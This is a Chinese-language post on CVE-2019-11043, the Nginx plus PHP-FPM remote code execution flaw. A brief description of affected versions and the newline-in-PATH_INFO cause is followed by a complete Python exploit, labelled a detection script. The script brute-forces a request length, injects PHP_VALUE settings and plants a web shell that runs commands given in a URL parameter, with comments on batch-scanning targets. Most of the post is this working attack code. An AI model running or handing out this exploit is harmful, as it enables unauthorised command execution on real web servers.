CVE-2019-11043

CVE-2019-11043

CVE-2019-11043 是一个PHP远程代码执行漏洞，使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞，可允许攻击者远程执行代码。该漏洞存在于php上。Nginx在0.7.31之后版本才存在fastcgi_split_path_info这个指令。另外经过poc验证，php5.4版本未受影响，php5.6以上版本会造成服务崩溃，php7.0以上版本可以执行远程命令执行。**2.漏洞概述漏洞类型：**远程代码执行漏洞。

**利用条件：**nginx配置了fastcgi_split_path_info

**受影响系统：**PHP 5.6-7.x，Nginx>=0.7.31

Nginx与 php-fpm 服务器上存在远程代码执行漏洞，由于Nginx的fastcgi_split_path_info模块在处理带%0a的请求时，fastcgi_split_path_info指令中的Regexp被破坏。Regexp被损坏导致对换行符 \n 处置不当使得将 PATH_INFO 值置为空，从而导致 php-fpm 在处理 PATH_INFO 时存在漏洞，攻击者通过精心的构造和利用，可以导致远程代码执行。

检测脚本：

import requests

# author：eth10
# 根据GitHub上面的go语言exp，以及攻击数据包写的对应py3 exp
# 随便改一下就可以批量检测了，检测之前最好确认是nginx+linux+php的环境
# url必须是带有php的文件路径，如：http://192.168.1.11/index.php
# 第一次的话在攻击过程中可以利用，但是结束后可能就不稳定了，建议第一次执行完之后，再执行一次稳定后就可以执行命令了。
# 访问即可执行命令：http://192.168.1.11/index.php?a=ifconfig

url = input("URL：")
url = url.strip()

def one():
    tmplist = []
    headers = {"User-Agent": "Mozilla/5.0",
               "D-Pisos": "8=D",
               "Ebut": "mamku tvoyu"
               }
    for i in range(1499, 1900):
        res = requests.get(url + "/PHP%0Ais_the_shittiest_lang.php?" + "Q" * i, headers=headers)
        if res.status_code == 502:
            tmplist.append(i-10)
            tmplist.append(i-5)
            tmplist.append(i)
            print(f"Status code 502 for qsl={tmplist[0]}, adding as a candidate")
            print(f"The target is probably vulnerable. Possible QSLs: {tmplist}")
            break
    return tmplist


def two():
    tmplist = one()
    if len(tmplist) == 0:
        print('暂未发现漏洞')
        return None
    for i in tmplist:
        for j in range(1, 256):
            headers = {
                "User-Agent": "Mozilla/5.0",
                "D-Pisos": f"8{'='*j}D",
                "Ebut": "mamku tvoyu"
            }
            res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=1;;;?" + "Q" * i, headers=headers)
            if "Set-Cookie" in res.headers:
                # print(i, j, res.headers)
                print('Trying to set "session.auto_start=0"...')
                for t in range(50):
                    res = requests.get(url + "/PHP_VALUE%0Asession.auto_start=0;;;?" + "Q" * i, headers=headers)
                print('Performing attack using php.ini settings...')
                count = 0
                for l in range(1000):
                    res = requests.get(
                        url + "/PHP_VALUE%0Ashort_open_tag=1;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i-27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ahtml_errors=0;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Ainclude_path=/tmp;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aauto_prepend_file=a;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    # print('auto_prepend_file=a', res.text)
                    res = requests.get(
                        url + "/PHP_VALUE%0Alog_errors=1;;;;;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_reporting=2;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    print(l, 'error_reporting=2', res.content)
                    # if "/usr/bin/which" == res.text
                    res = requests.get(
                        url + "/PHP_VALUE%0Aerror_log=/tmp/a;;;;;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension_dir=%22%3C%3F=%60%22;;;?a=/bin/sh+-c+'which+which'&" + "Q" * (i - 27-5),
                        headers=headers)
                    res = requests.get(
                        url + "/PHP_VALUE%0Aextension=%22$_GET%5Ba%5D%60%3F%3E%22?a=/bin/sh+-c+'which+which'&" + "Q" * (
                                    i - 27 - 5-3),
                        headers=headers)
                    if "PHP Warning" in res.text:
                        # print('extension=%22$_GET', res.text)
                        for k in range(5):
                            res = requests.get(
                                url + "/?a=%3Becho+%27%3C%3Fphp+echo+%60%24_GET%5Ba%5D%60%3Breturn%3B%3F%3E%27%3E%2Ftmp%2Fa%3Bwhich+which&" + "Q" * (
                                        i - 97), headers=headers)
                            if "PHP Warning" in res.text:
                                # print('a=%3Becho+%27%3C%3Fphp+echo', res.text)
                                break
                break

two()

利用工具在Github上面，具体原理需要下溯到底层的.c文件中。